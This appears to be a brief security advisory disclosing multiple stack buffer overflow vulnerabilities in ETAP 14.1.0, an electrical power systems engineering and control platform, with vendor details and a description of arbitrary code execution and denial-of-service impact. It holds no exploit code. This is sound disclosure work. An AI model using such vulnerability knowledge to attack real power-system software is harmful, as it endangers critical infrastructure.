Operation Technology ETAP 14.1.0 Multiple Stack Buffer Overrun Vulnerabilities Vendor: Operation Technology, Inc. Product web page: http://www.etap.com Affected version: 14.1.0.0 Summary: Enterprise Software Solution for Electrical Power Systems. ETAP is the most comprehensive electrical engineering software platform for the design, simulation, operation, and automation of generation, transmission, distribution, and industrial systems. As a fully integrated model-driven enterprise solution, ETAP extends from modeling to operation to offer a Real-Time Power Management System. Desc: Multiple ETAP binaries are prone to a stack-based buffer overflow vulnerability because the application fails to handle malformed arguments. An attacker can exploit these issues to execute arbitrary code within the context of the application or to trigger a denial-of-service conditions.
